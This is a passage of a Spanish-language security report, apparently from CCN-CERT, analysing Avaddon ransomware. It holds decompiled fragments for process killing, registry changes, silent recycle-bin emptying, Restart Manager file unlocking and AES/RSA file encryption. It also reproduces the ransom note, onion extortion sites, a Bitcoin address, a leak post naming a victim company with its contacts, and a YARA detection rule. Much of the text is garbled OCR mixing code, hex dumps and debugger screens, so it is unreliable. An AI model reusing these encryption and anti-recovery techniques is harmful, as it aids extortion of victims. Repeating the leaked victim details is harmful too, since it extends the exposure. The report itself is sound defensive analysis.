1o (HANDLE)-1 ) —-eeaoe orss nsmmmn §eF avaddon_noasir. 109189
15 return . 68 28 push 228 Gs 0028 FS 0053
1o subaacbo(( izt “)ige.cotusage, o, Grazou); & ggb I G (e e Pt Es 0028 D5 o028
20 pe.duSize = . so ERe BED B
21 if ( lprn:esszzhrsm( 2, &e) ) < [ HeEe0 - <ﬂvﬂﬂﬂﬂfumﬂs|r ENRNETEEHE ST(0) ODOOBOOOOOOOOODOOD XE7rd Vacio O,
2 & o ST(1) 00000000000000000000 XE7r1 Vacio 0
23 LABEL 11: . Spaizi 33 oo g:grg e ZiJEZ”EiEéiﬁ ST(2) 00000000000000000000 X872 Vacio .
2 Closetandle(v2); . reh o ST(3) £0D00000000D0000000D XE7r3 Vacio 0
V2 . 57 push cdi ST(3) 00000000000000000000 X871 Vacio 0
25 return 0; i FF15 08804700 €all Gword pEr st [<&Process3zFirsT] ST(S) 00000000000D0000000D XB7r5 Vacio 0
25 3} Test eax,eax ST(E) 00D000000DDDO0O0O0D XB7PE Vacio 0
2 wnile (1) 0F84 CFOD000D 3e avaddon_noasTr, 405182 ST(7) 00000000000000000000 X87r7 Vacio 0
0FaF40 00 Rop dword per ds: [eax] , eax
= . $8:07 27400 00000008 10D Word pEr 45 [eansain] ax ) G
- . T Craazs 20 00000000 | mov dword Drr ss:lespr20l,0 SR e s
. 661894424 mov word ptr s=:fespi10d,Ex = g -
31 . sDaa24 ac Tea eax,dword ptr_ss:[fesprac]l pes7IWTAg S (Vacio X87TTW.5 3 (
32 . s[|: c74s2s 24 07000000 |mov dword prr Ss:fesprzil,” XE7TW_6 2 (vacio) Xa7TW7 3 ©
e . 02 Tea o, Gword per dst Ceaxi2]
. 66230 nop xe7stazusiord 0000
4 . 66iga08 moy cx,werd prr ds: [eax] X87TSW.C3 0 XETSH.C2 O
35 sub_404030(v7, 2 % vE + 2); . 85c0 02 2dd =2 S7SE1 0 xeraice o e o
EAR S . 66185C5 fese o TIS 0 TP 0 mesy o
v . 75 Fs She avaddon_noasir. 403080 XETSWO 0 xETSW WD 0
7q . 28c2 Zub = . o SR 8 araitor 5 (o)
s Process(1u, 9, pe.thizProcessID); . &Dic2s 10 Tea ecx,dword ptr ss:fesp+iol [esp+10]: ™" §=
s ¢ DiFs Ealemsy xercomtroTuord ozrr
0 . I meazs 50 i :ax dvord per ssilfesprsal O el 1 xEewn
“ . Es_s2e7FFFE &1 Savasdon_noasir. sub_sosgaos . B T e
a2 . B s emmen s por defecto (stdcal) ~] 5 2] pe:
43 if ¢ ‘PW“SSHNEX“‘( v2, &c) ) 1 [esprd] 00283C00 &L sqiservr.exe”
p goto LABEL_11; Ghord ptr (00478008 <avaddon_noasir.EPrOCEssIZFIFSTIS: ~Proc 2! [esp+8] 0018FC18
5| vie o 3: [esprc] 00283C00 ai”sqlservr. exe”
3 3i [esp+i0) 0025620
a6 ) -text:004090A5 avaddon_noasTr: §905 #8445 <kill_processes+es> Lespio) &=
47 TerminateProcess(vd, 8); 5
45 CloseHandle(vs); MV&\mdnl \ U4 Vokado 2 | 444 Volcado 3 | 44/ Volcado 4 | 44 Volcado 5 | @@ el sqiservr. exe”
s retumn 1; oireceis]ex Iascsz = TR
i 0018748820 f? !, 20 W—MJH 80 EC 40 E'E"!, f, ‘, E'E" i 3

Figura 18. Busqueda y finalizacion de procesos

Avaddon establece a 1 el valor de "EnableLinkedConnections” de la clave
“SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System”. Dicho valor
permite modificar el comportamiento del servicio LanmanWorkstation y del
subsistema de seguridad LSA para permitir que las unidades mapeadas sean accesibles
por un proceso con un restricted/elevated token (en este caso por el propio proceso
Avaddon ejecutandose con permisos de administrador).

S0 nop N
%0 nop
6 push 23 RegSetvalueExw a
68 58555776 push kernel32.76575558 L
E8 BECI1FFFF €all kernel32.765715C0
33FF xor edi,edi
897D D4 mov dword ptr ss:[ebp-2c], edi ]:L"SOFTWARE\\M1crosoft\\windows\\Currentversion\\Policies\\system"
897D D8 mov dword ptr- ss:|febp-28], am ] :sub_403CA0+EL
897D _ED mov_dword ptr ss:llebp-200,
E8 02COFFFF Ealn <kernelsz. REgKrnGetG]Dba]StatB—
BES0 84000000 mov eax,dword ptr ds:[eax+84]
8945 DC mov dword ptr ss:ebp-24], eax
8845 08 mov cax,dword ptr ss:[ebpis]
3D 04000080 cmp eax,S000000
~ OF84 DDECO200 j& kernel32.765AE156
3D 50000080 cmp_eax, 30000050 N

i v

eax=0015FAAS

.Text:7657546E kernel32.d11: $1546E #1546E
00408DF2 [volver a avaddon_noaslr.00408DF2 de 777

U volcado 1 | i volcedo 2 | G Volcado 3 | @il Vokado 4 | Wil voicado 5 | B Monitorizar 1 | I L:xzr!q_ 5 [0,

&
ASCIT 0O1EFASC | D029DFFO | L"EnableLinkedConnections™
T 0018FAE0 | 00000000
001EFAG LONNNONNA.
0018FA658[0018FAAS
0018FAG
0018

24 FE 18 00(2D CO 46
0 FC 40 00|08 FC 18
4 FA 13 008 FB 40 C
28 F EA 12 00 LE
0018FAES|FC B8 40 00/08 FC B 4B 44 46/BC 02 28

46444AD7

cklkkiB

Figura 19. EnableLinkedConnections
De forma “silenciosa” (mediante los flags mostrados en la siguiente imagen)
también eliminard el contenido de la papelera de reciclaje haciendo uso de
SHEmptyRecycleBinW para dificultar su recuperacion después del cifrado de ficheros.

Jtext:ee409848 sub_489848@ proc near ; CODE XREF: disable_shadow+134p

.text:00400840 000 push 7 ; SHERE_NOCONFIRMATION | SHERB_NOPROGRESSUI | SHERE_NOSOUND
Jtext:ee409842 004 push a 3 pszRootPath

.text:88409544 @03 push a 5 hwnd

Jtext:88409846 20C call ds:SHEmptyRecycleBink

Ltext:8848984C Ba6 retn

Figura 20. Eliminacidn de ficheros de la papelera de reciclaje

El cdédigo dafiino se apoya en el Restart Manager de Windows [REF.- 8] para
forzar la finalizacion de procesos/servicios que pudieran estar haciendo uso de los
ficheros de la victima. Dichas acciones facilitan el “desbloqueo” de ficheros en uso por
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aplicaciones legitimas para permitir al ransomware acceder y cifrar los mismos. La
siguiente funcién muestra las APIs involucradas para interactuar con dicho
componente de Windows.

22| if ( !RmStartSession(&pSessionHandle, @, (WCHAR *)v13) )
23 {

24 if ( *(_DWORD *)(al + 28) >= Bu )

25 vl = *(const WCHAR **)alj;

26 rgsFileNames = v1;

27 if ( !RmRegisterResources(pSessionHandle, 1u, &rgsFilelames, @, @, 8, 8) )
28 {

29 vz = 8;

30 v3 = 8;

31 prProcInfo = 0;

32 pnP’E(InfcllEEdEd = 8;

33 dwRebootReasons = 85

34 while (1)

35

36 v4 = RmGetList(pSessionHandle, &nProcInfolleeded, &pnProcInfo, v3, &dwRebootReasons);
37 if (lva )

38 break;

39 if (va 1= 234 )

48 return;

41 v5 = pnProcInfoNeeded;

4z pnProcInfe = pnProcInfolieeded;

43 if (v3)

44 {

45 sub_43527A(v3);

a8 v5 = pnProcInfo;

47 }

48 VE = sub_43527F(668 * vS | -(668 * (unsigned _ints4)vs >> 32 = 8));
a9 VT = V24

se w3 = (RM_PROCESS_INFO *)v&;

51 if (7 3= 3 )

52 goto LABEL 15;

53

54, if ( ldwRebootReasons )

55 Rmshutdown(pSessionHandle, @, @)

56LABEL_15:

57 if (v3)

58 sub_43527A(v3);

59 if ( pSessionHandle != -1 )

e AmEndSession(pSessionHandle);

Figura 21. Restart Manager (unlock de ficheros)

7. CIFRADO

El cédigo dafiino hace uso de la CryptoAPI de Windows con la que generard una
clave AES256 via CryptGenKey que utilizard para cifrar el contenido de los ficheros.

31| vl = this;
32 w2 = this 4 245 1lbool _ thiscall CryptGenkey wrapper(HCRYPTPROV *this, HCRYPTKEY *phKey)

33 if ( [\CryptGenKey wrapper(this, this + 24) ) 29
34 return 8; 3| return CryptGenKey(this[7], CALG_AES 256, lu, phKey) != @;
35 w3 = 4}

= CryptExport_wrapper(*v2);
36 va = v3
37 v5 = CryptEncrypt_wrapper(vi[22], 1, vZ);
38 dwBuflLen = v5;
39 if ( tva || s )
A8 return @;

Figura 22. Generacion y exportacion AES256

Dicha key sera cifrada con una clave publica RSA de 2048 bits importada
mediante Cryptimportkey (embebida en el propio binario).

lchar _thiscall encr_imp(HCRYPTKEY *this, int a2) T saeF ga‘;heggbed' CryprImportkey «|[ocuttar rru
2 BBEC mov ebp,esp
3 HORYPTKEY =v2; // =si ] pop <bp’ ) 5% oosarcon
4 dnt v3; // eax v B2 T BIVARTIZEZCEFCAAT ECX  0D0676EE0
S dint w4y // edi = e EDX 00682298
- 0] riop EBP  D018FAAS
b 20 o ESP  DOLSFAT4
v2 = this; ) & nop ESI  0068F620
8 3 = sub_411Ase((void *)az); ~ FF25 S840FE]jmp dword ptr ds:[76FE4058] EDI 00682128
9 wd = 3 » nop
i TE =), oo e —
16 if ( IF((_BYTE *)v2 + 24) ) & nen R ——— )
uq e ] + |[Por defecto fstdcal)
12 if ( I=(_DWORD *)(v3 + 32)
13 || !CryptAcquireContextil_wrapper(v2) // Microsoft Enhanj
14 || !CryptAcquireContext_wrapper(v2)
15 || !Cryptimportkey wrapper(v2, (LPCSTR)(v2 + 16)) -TEXTITEF7C4A3 advapi32.dl1:5C443 #B8A3 ]
16 LOBYTE(v3) = enci tion(v2 1(_BYTE)v3 00411240
- I (+3) ryption(vz), H8YTE)) ) G4 volcado 1 | @ vokado2 | 44 Volcado 3 | 4l Volcado 4 | Wik Volcado 5 | @ weritorizar 1 | M) R[o0s11240
3 oo18Fazc | 0068F620
18 LOBYTE(v3) = CryptDetroyKey wrapper(v2); [Pireceio| Hex jascz | e o | ooooo114,
e return e - 00687620 %1 31]00 0B 00 00| . 5
3 0068FE30] BB OE|31 15 79 B6|... | [
2} 0068F 640, 1 sC 3530 AA 10 28| jefd.y.y < | ooereros
21 *((BYTE *)v2 + 24) = 1; 00GEFEE 0] 31 36 1E 93(4F 2D 34 1D Nﬂ’x..lluﬂs 5 |looeserso
— 0068FG60| 41 B E: 50 33|CB F1 97 45 | Augyq.AfUSPIER.E llcoracees
22 0068F670 E5 CB|E5 3F 8F E7|fUAU.bQro}aEdr. ¢ H loom=rerc
23 *(_BYTE *)(v4 + 40) = 1; DO6ESF 680 79 60|42 24 &5 2A|BS.1%. IIgy Bje” « | cos7 e80!
21 return v3: 0068F 690, 1C BC|F2 F5 28 75|.|°&0.Ea"..%0d+U o llcosacsTs
: 00EEFEAD| BC 8D|D5 3E 61 33 e ez
25 0068F 8B £4 79|12 98 DB 5E i Btraseed
Q0GEF &L 48 013 L 26
Berss EEEsnn < [8641053E) voluer o avaa
D068FGEQ| 48 97 D5 84 02 EC 1| ooisrarc 9
00GEFEFO| AR BE 5C TE 5A 04/9D 8A 8C 4F H|looseacs
0068F700|62 FC 68 9E(ED D5 33 86 56 60 AC E2|96 30 D5 AE e
0068F710|02 23 B7 E3|E1 9E 76 OD 82 SA 13 00 54 CO DB E9|.
0068F720(04 B3 BF 1A|CD 86 6E EG|25 94 67 A3 03 22 D 1E|. oreracofonsnrcao|volver a avad

Figura 23. Importacion de la key (RSA)

El cifrado de la clave AES con la clave RSA se aprecia en la siguiente imagen.
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B 3 = l;g\slheggaedi CryptEncrypt N
. ?SEC ';g‘; ggg'es" [ eax  ooooooo1
. ~ EB 05 jmp <IMP.&CryptEncrypts B¢ CIREREED
. 50 fop ECX  O018FA14
. 30 nap EDX 00000000
H 2 pan I
. 30 nop - —
= ] , [par defectn (stdcal) ~s
= o 1: [esp+4] D02FE418 <&CPGEnKey>
CUEE = [esp+8] 0000000
[esp+C] 00000001
[esp+10] 00000000

. Text:76F97718 advapiiz.d11:$27718 #26B1B <CryprENCrypt>

sub_411580+28 de 777

B4 Volcado 1 ‘ W44 volcado 3 | W44 volcado 4 | W4 Volcado 5 | &) Monitorizar 1 | [x=] Locales | B)Stmd‘ "f&:{,nasi‘addm’masw'

glo8 02 00 00[10 66 00 00|20
77 7E 1E B1|BC F2 56 34|28 50 E2 7C
13880 8.0 88 B3 3 5 0

0
00 0000

AES KEY

44 Volcado 2

SOZLET- 5] Tver a avaddon_noaslr.sub_411280+30 de avaddor
B Direcei = P

003FE1AR 002F541f[ES B4 DO GE £ 1 6E|G on..OnGnon. LAn

002FE188 002FB42F (62 4D D1 6F |48 7F DO GF 1_GE | bMRNH~Bn; yDnpkAn

fosLETE g 002FB43 S £3| GVONELON. * /. DAud

002FEIDS Ze - R

002FE1ES 002FB458(75 22 B3 30(BB 75 00 0C|01 0D 04 80|74 O

002FB468| 84 00 00 00(00 00 00 00|14 00 00 00|02 00 60 0Of.

002FE1FS

Figura 24. Cifrado AES con la clave publica

El codigo dafiino recorrera el sistema de ficheros cifrando el contenido de los
mismos mediante la clave AES generada previamente.

. . TRov_saToeaT P (T — ey YT
e ush €0p 2
o )8:20.Quadpart + 4); ec v ebpresp = P
a $0p €00 - cax
° 5 : “Quadpart = 0164; s o Rl ] ] ex
® e AF (filesize.MighPart = @ 88 (rilesize.MighPart > @ || Filctize.lowbart) ) : p o
- - nep 3 o5
® 52 a0.Highvert = 0; oy | ST 00000000
. -0 25 1800626 | Jmp derd per o (<hcryprE e crypeneryet 1 ooooosss  L'e"
° wile (1)
T E1p 7eFsrTis  <advapii2.CryprEncrypts
. tance .Quadpart - 0164; =
s if ( ISetFilePointerex(hile, 0i64, BewrilePointer, 1u) ) .
° goto LABEL_35;
& 7= &lpBuf edi=iee LB
. (29 > ox10 )
° 1 « Ipauffers -Texti76£97718 advap)3t. a11:$27718 426618 <CryPLENCrYPT>
e n if ( lReadrile( — -
1| 1setFilero L9 ) Sfyvocado 1 | piokado2 | 4t Vokado3 | 4 vokadod | 4 vokcados | B morstorar 1 | (neiLocaied B
7 1 I -
o to LABEL_3S; 039615 R 73e1int onevars
; L = oseism 2 E
361900 a O2otroad e oitocas
. -t T : ! e T
o 7 1f ( tusberofaytesaead ) aiseised n
4 0396190 | volver a avaddon_noas «aoscor
¢ 03361580 £ volve ddon_noasir. sub_t10AC0+1C0
: do 0356155 s
< 3561 5
- 6 ; 256 L
. 3
s - H "€ \\\\POFSTr eamOumper | \Deaut1fy. 35~
. 4 #
. 2
.5 d pas; ¢ &) you
. L2 2:2000); — 25| s2ol Find thi
8 TCryptinciyptwrapper (o o 8, (LT AT Gesees 3 7] 6“5 or workt
* % g = S5 ng for you.r U
c oto LATEL3%; q&
o a1 11 = 8025 F i
3
° s i (26 = 0x10 ) : Volver a kerne132.76574186 de 277
° s = s
.o i ( tard ¢ ) v, B - ,0)) o)
9 goto LABEL_35; rla
. % += 0x2000; H
, ) o e char”
a5 while ( V8 < NusberofBytasaead ); 3l caneaiSe e

Figura 25. Ejemplo de cifrado de fichero

El fichero cifrado serd posteriormente renombrado (en la siguiente imagen
afiadiendo .bAcCAcbed a la extension) y dentro de cada directorio se creara un fichero
de texto (xxxxx_readme_.txt) informando de la infeccidon y cdmo recuperar los ficheros
afectados.

mov_edi, edl WOVeF11eEXn -
push ebp

mov ebp,esp

push dword ptr ss:[febp+10] 0
push o

push o

push dword ptr ss

oush dword ptr ss
i 0

edi=002A84E8 &L"C:\\\\IDEFENSE\\SysAnalyzeri\exploit_sigs.txt"

-TeXT:76589855 Kernel32.d11:529855 #29855 <MOVEFileExW>

W volcado 1 | @iy volcado 2 | i voleado 3 | @y volcaco 4 [ 4 voleados | @ menitorizar 1 [ ix-lLocaies | o]
Direccis| nex ASCIL a

|
0018FAAB|D0 FE 18 00EQ ED 18 00(9€ BA 40 O0|EG EA 18 00|40..0:
0018FARE|5A 35 DF 06|DO_EA 18 00|80 EC 40 00|E0 ED 18 00|2z38.

00410733 | volver a avaddon_noaslr.sub_s10570+1C3 de 777
0200FE50 || 002B7188| L"C2 \\\\IDEFENSE\\SysAnalyzer \\exploit_sigs. txt"
020DFES 4 \\\\IDEFENSE\\SysAnalyzer \\exp1oit_s1gs. tXT. bACCACDI
020DFESS
020DFESC
020DEEED
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" 9jXI6_readme_ - Motepad
File Edit Format View Help

Desktop » + [ 43| [ Search Desktq
Your network has been infected! m———————e &
[~ A Open Include inlibrary = » o=
SR DO NOT DELETE THIS FILE UNTIL ALL YOUR DATA HAVE BEEN RECOVERED R R
[ Libraries
I System Folder a1l your documents, photos, databases and other important files have been encrypted and have the extension:
. BdcaaeaBBD

david You are not able to decrypt it by yourself. But don't worry, we can help you to restore all your files!

System Folder
v The only way to restore your files is to buy our special software. only we can give you this software and

only we can restore your files!

"&F gi’:puiﬂld we have also downloaded a Tot of private data from your network.
ystem Folder If you do not contact as_in a 3 days we will post information about your breach on our public news website

and after 7 days the whole downloaded info

@f ?'ETW"”; - You can get more information on our page, which is located in a Tor hidden network.
| System Folder

How TO ger to our page

'==]| Control Panel
L] Systemn Folder | .
| 1. pownload Tor browser - https://www.torproject.org/
—_— |
‘_' Recycle Bin I 2. Install Tor browser
[= System okl I 3. open 1ink in Tor browser - avaddonbotrxmuyl.onion
b 9XI6_readme_ | 4. Follow the instructions on this page
Text Document 1
372KB
avaddon_noaslr Your ID:
2] Host Pracess for Windows Tasks
"W Microsoft Corporation NTC2LWIVQNhXR3RaMFZ hN1NXMDNWMXNYNKpEVTFKMDB 3viviemzd i RDF 5QT 1 5cwt TZONVSTBAcjdhyXJ1REVUCUZRSWX ] bDZSUZZDRGhKTOT
Chrysanth Bd 380 ydURMYJVBU1VSSEMVZ 3TWV0IVUDB ] TZI 5Q0d2Z FNpSX1QbzZWUzdQROoWL1E 2RM5 LSE 5UC JNGQOZ aQ1 FkWHFEaGATCET4aTFwTm 5TNtck
rysanthemum.jpg.Bdcaaea FwYSs1¥mzUTwwORz12aTIMbmI1NXB1QThUNOQVN3B5UTZEdndy Y1 NsNZZEVGBy[mSXVwVZEkExEkNqRnArTGV4ECtSZwl}{QBleUdEZwFr b
BDCAAEABBD File Gd5vDzyavhoM012azc 3CWRLY3IChFNOCKkhFQTNWQZhCCNQ5emIDeutCouUWCGI4bwz FQX1B0GMXK080QkUxvD1 Tdurvu3kru2M3c0t1z IRU
864 KB th;{z'IMszszRyz'l E4ZW5DNkFWdZRCRVBQWMSNA2Z EMK TXTMF UOWXWKO5thHETVINT MXJZZHJWKZJZZHJ'\ZDJXNUFSSZNlKU:lEOFZVT'I 3
. MNTT5NOT TOWVORDANOEZVeD13T1haMvRxb jMvNT TrNmZnoFhtQ3Zuvkz qvlvzskhThmOonom2TTNXQ] Jwz 3quiwk t sevzvenk0z 3hzwxdmdr
Desert,jpg BdcaaeaBBD Mxbkdpc TFVT3hFUVCZL1ZLWWRWSZBQYTYSCZBPYWNKMUQZQN] M2 1ZvmxgarFa4QjFEZ2vnaktny3k2ZGhzz 1 9vbENBVKXGREVVOSITVTVLG
BDCAAEABEBD File ZNhZUJkNWF GZHZ UamNgums 0QTNZ 5282 eFk4MGF IZXNVKOZWZ ] NpRFOXVFBYY3pLawl3Twk2WnA4 am9RV1 I jNklua3 IxQzMX0HFHUOI1UzZ 1o
832 KB RO9vbFormMGFzc11tzCsrNFVHbiTaqkFRYO5WC1ZxQ2ZBb2NHNEdUVKRC CFF SUXBGYZNGZ 1vvbO1QUDF ve 1TA0bWRKeEhIOWShTR10Qk Sudvn
sd2MrdTFPMWTRRMK 3REVIWMEXMFAr eUkxL01gajheyy9avkk4rzgyb]j11daFKODBSULEr ckJoYUupaTjBTbXgvylNGdGl IRUS1VGCOMTBDbK
Hydrangeas,jpg BdcaacaBBD dHTMZUemY1UEpPNWN]20G 512 1ZPWHF HYk94 c 3BQbWWSTTVOSNBGMXE O TWX YKONSeDZhcHd2VHQ SWE 1BMOSwhnE xeUoyaF p 5d JZUyYmMwRW Iwb

BDCAAEABED File wdsdkpDWTVNWVUCYOL 1M 5el]s SUxHCWOwaT 9aaF 152 JZmw ] FFWUXhUGZ IWFhmM21muwtmaz 1vs11ssnzHR1ZhdF dFQXR1ZUNS UWSANEUY

aulHK2NBZiTMaTlhrSml5SNUOINUTYavhwK2 JEZ ZBLNDZOKLZCSVVWUGYUEF 1wy 1RGSNgXUHCVWOCVempOW 3NUNS9ZZVRQRVvazdwaT 1UZDF

384 K8 7a2 TFMWF XL 03 15nUrOVpHWULRMFNEVVE 35TTHS016T 31 5CES 5Q1BqT083aEQxdXg0CINTNGL DbmRUYXpXU3 I6MWtOcis5aTdeczzaM] 015]

Jellyfish,jpg.BdcaaeaBBD hZOEpPeXITYMRQEDZ PMHE ZNKTPZ 3p3eEVTVEpKTXNken]Eaz1CexXNhs jZ0eETRMWCLOMOMQUGOTKPTUVNHVTNKVE 1JUVVNY 3VMNENEVIMFWZ

o ?9' . HI3NFUZZXRCNK1KZ 1IwQVIOCHFr cUEZSHhUWTdZ cHRNYOPGaNVAMNRSNUE2RWI0SmMAVVTNAOUZMM2NIZUSTSNZMbURMRG ] 1SGWIVZXr eWsy

BDCAAEABED File WFEdzVzRs aEpkz042Z 3NHZMS IZHZ HNKTQLYS 2vZRQd1d1d jBYM2 LGVMS XRXT WV NGKZ 1 ITUZCZVNOTGINAVVXRX0ydG 1 SVPPAXEXR] dj SmM

760 KB rdk9jR3IHZ05UajRFAENZNZN] Sk 54exvub1RYZNpoNk IZUURTDEFZNTNZUT ] 2CUJEMHPYQZhIMZMYY2 1 XxemkwT 1V IVLhOWEMWVC TVMHVXCK

J20UTITNT6RELETWAXAGM 5T ZNMRY JHSFUXZHFNSLNOUGF KV j Vg aDMvL 1BzcmzL RE 5 50GFOVF BWKYTFbWo2ZEx4eGo1M2x K011 U2tKYOhQa

Keala.jpg.BdcazeaBBD K1ESFBZUXFweEpqyXd4h1NKZm] WUSpSlpabFIUZst\D(Ing'\ MT1drd1cwVGROS3VECYVEC T IHNURBN2 TKNUS3L3paQjVBNELDWBLSGN
BDCAAEABED File NFpiMORPZ jd2ZGF 2TUYYMFVZMO9EPTO=

768 KB

Lighthouse,jpg BdcaseaBBD
BDCAAEABBD File * DO NOT TRY TO RECOVER FILES YOURSELF!

552 KB * DO NOT MODIFY ENCRYPTED FILES!

* % % OTHERWISE, YOU MAY LOSE ALL YOUR FILES FOREVER! * ¥ *Qhlch7eySiABQeqQdydVjCeviXLw

Figura 26. Renombre del fichero / Readme

El dominio referenciado en dicho fichero se corresponde con
avaddonbotrxmuyl.onion (actualmente en funcionamiento). Ingresando el ID generado
para cada cliente (incluido en el readme) se accede al recurso que informa de cdmo
recuperar los ficheros si se paga un rescate de 1500000 USD a determinada cartera
BTC.

@ avaddonbotrmuylonion/a7a

P

@ @ avaddonbotrxmuyl.onion w0

Avaddon

1500000 USD*

If you dan't cooperate . yeur documents, photes, databases and other important files will be published at our blog
Whera they will be fresly available and anyone can watch them absolutely fres. What will entail the loss of clints, money and lawsuits.

{Tu red ha sido infectada por el Avaddon Ransomware! Todos tus
documentos, fotos, bases de datos y otres archivos importantes
han sido encriptados. Pero no te preocupes, [podemos ayudarte

a restaurar todos tus archivos! Para asegurarte, puedes probar

nuestro mas in si ingresas tu "]
identificador personal en el campo a continuacién. — C—
{Todos tus documentos, fotos, bases de datos y Para restaurar tedos tus archivos necesitas Puedes hacerle ahora mismo. Sigue las
otros archivos importantes han sido encriptades!  Comprar nUESO Software especial - i a Paro recuerda que no
Ingresa tu ID 5 "
General Avadden! tienes muche tiempo!

1500000 USD

~ 15042582025 BTC

HHzGcF

O PAGADO

1. Compra la eriptomoneda de Bitcoin. Encontrards instrucciones sobre cémo puedes hacerlo a

continuacién.

Ingresar

& Espaiiol -

2. Envia 150.42592025 BTC a Ia direccién: 3FnNMkvpWeCOxzcKwA4SHkbZoHpCHH2GEF
[en UN pago, esta cantidad no incluye |2 tarifa de transaccidn)
3. La transaccidn se confirmard después de recibir 6 confirmaciones

4, Cuando se confirma el pago, puedes descargar el Decodificador General Avaddon.

iAtencién!
Por faver, ten cuidade y venfica visualmente |a direccion después de copiar y pegar
(porque en tu PC haya un malware menit y cambianda la

direccion en tu portapapeles)

Figura 27. Dominio avaddonbotrxmuyl.onion
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En el texto de dichas instrucciones se referencia un blog (accesible también en la
red Tor) en donde se exponen datos de clientes, en concreto un fichero de descarga de
558 MB (Personalne-PROKES-DUMP.zip) correspondiente a una empresa eslovaca.

@ © avaddongun7mgel.onion/post/prokes-cosk-s-r-o-final-warning-before-lesk-first-lesk-25-in-on-2108 e

AV, \\_\,“,\ A Main  W# Fulldump ® Contact Us

Prokes & Co.SK, s. r. 0 50% LEAK, ON 25.08 23:59 OTHER 50% GOES PUBLIC

https:/ivww.prokes-rubber.cz/sk/
personalne@prokes-rubber.sk

+421 435 524 277

Leak includes :
91714 20200207

1am 97 w0 0r22..
227764 189025 2020073
w00 206806 20200814,
P 46180 20200416
suasy

36215

saan2

2ee19

ctnand.01.07.2020 sm217s 20m0722
1158394 20200722
35403 0200197,

o ez,
o sz

360481 669 20200407 ..
7549710 20200212
uas 2200012

2654 220072
6743 20200623
2162405 71924794 20191218

Figura 28. Leak (Prokes & Co.SK)

8. REGLAS DE DETECCION

8.1 REGLA DE YARA

import "pe"
rule avaddon_ransom{
meta:
description = "Avaddon ransomware rule based on some XOR-obfuscated strings"
author = "CCN-CERT"
version = "1.0"
date = "2020-09-08"
hash1 ="51d85210c2f621cal4d92a8375ee24d62f9d7f44"
strings:
Sxor_str_01 = "www.torproject.org" xor(0x01-0xff)
Sxor_str_02 = "httpd.exe" xor(0x01-0xff)
Sxor_str_03 = "fdlauncher.exe" xor(0x01-0xff)
Sxor_str_04 = "MsDtSrvr.exe" xor(0x01-0xff)
Sxor_str_05 = "tomcat6.exe" xor(0x01-0xff)
Sxor_str_06 = "RTVscan.exe" xor(0x01-0xff)
Sxor_str_07 = "RAgui.exe" xor(0x01-0xff)
Sxor_str_08 = "sglmangr.exe" xor(0x01-0xff)
Sxor_str_09 = "gbupdate.exe" xor(0x01-0xff)
Sxor_str_10 = "QBW32.exe" xor(0x01-0xff)
condition:
uint16(0) == 0x5A4D and 6 of (Sxor_*) and
filesize < 1MB and pe.number_of_signatures ==
}
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9. REFERENCIAS

[REF.- 1] New Avaddon Ransomware launches in massive smiley spam campaign:

https://www.bleepingcomputer.com/news/security/new-avaddon-ransomware-launches-in-massive-
smiley-spam-campaign/

[REF.- 2] Commonwealth of Independent States:
https://en.wikipedia.org/wiki/Commonwealth_of_Independent_States

[REF.- 3] Phorphiex/Trik Botnet Delivers Avaddon Ransomware:
https://appriver.com/resources/blog/june-2020/phorphiextrik-botnet-delivers-avaddon-ransomware
[REF.- 4] Malware bazaar:
https://bazaar.abuse.ch/browse/tag/Gold%20Stroy%20SP%202%200%200/

[REF.- 5] Twitter @Cryptolnsane:

https://twitter.com/Cryptolnsane/status/1268440645770805248

[REF.- 6] Avaddon ransomware launches data leak site to extort victims:

https://www.bleepingcomputer.com/news/security/avaddon-ransomware-launches-data-leak-site-to-
extort-victims/

[REF.- 7] Twitter @ MsftSecintel:
https://twitter.com/MsftSecIntel/status/1278817988867575808
[REF.- 8] Using Restart Manager:

https://docs.microsoft.com/en-us/windows/win32/rstmgr/using-restart-manager
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